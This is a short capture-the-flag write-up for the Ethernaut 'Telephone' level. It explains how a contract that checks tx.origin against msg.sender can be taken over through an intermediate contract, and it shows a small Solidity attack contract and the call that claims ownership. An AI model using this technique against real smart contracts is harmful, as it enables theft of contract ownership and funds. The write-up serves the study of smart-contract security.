Writeups/Ethernaut/Telephone
EasyEthernaut · Ethernaut2024

Telephone

tx.origin vs msg.sender Confusion

The contract grants ownership when `tx.origin != msg.sender`. Calling via an intermediate contract satisfies this condition because `tx.origin` is the original EOA while `msg.sender` is the intermediate contract address.

Soliditytx.originmsg.senderPhishing

00Overview

The contract grants ownership when `tx.origin != msg.sender`. Calling via an intermediate contract satisfies this condition because `tx.origin` is the original EOA while `msg.sender` is the intermediate contract address.

01Deploy an intermediate contract

javascript
contract TelephoneAttack {
    Telephone target;
    function attack(address _player) external {
        target.changeOwner(_player);
    }
}

02Call attack() from your EOA

tx.origin = EOA, msg.sender = TelephoneAttack. Condition satisfied.

javascript
await attack.attack(player)

03Level Completed

Telephone — completion screenshot 1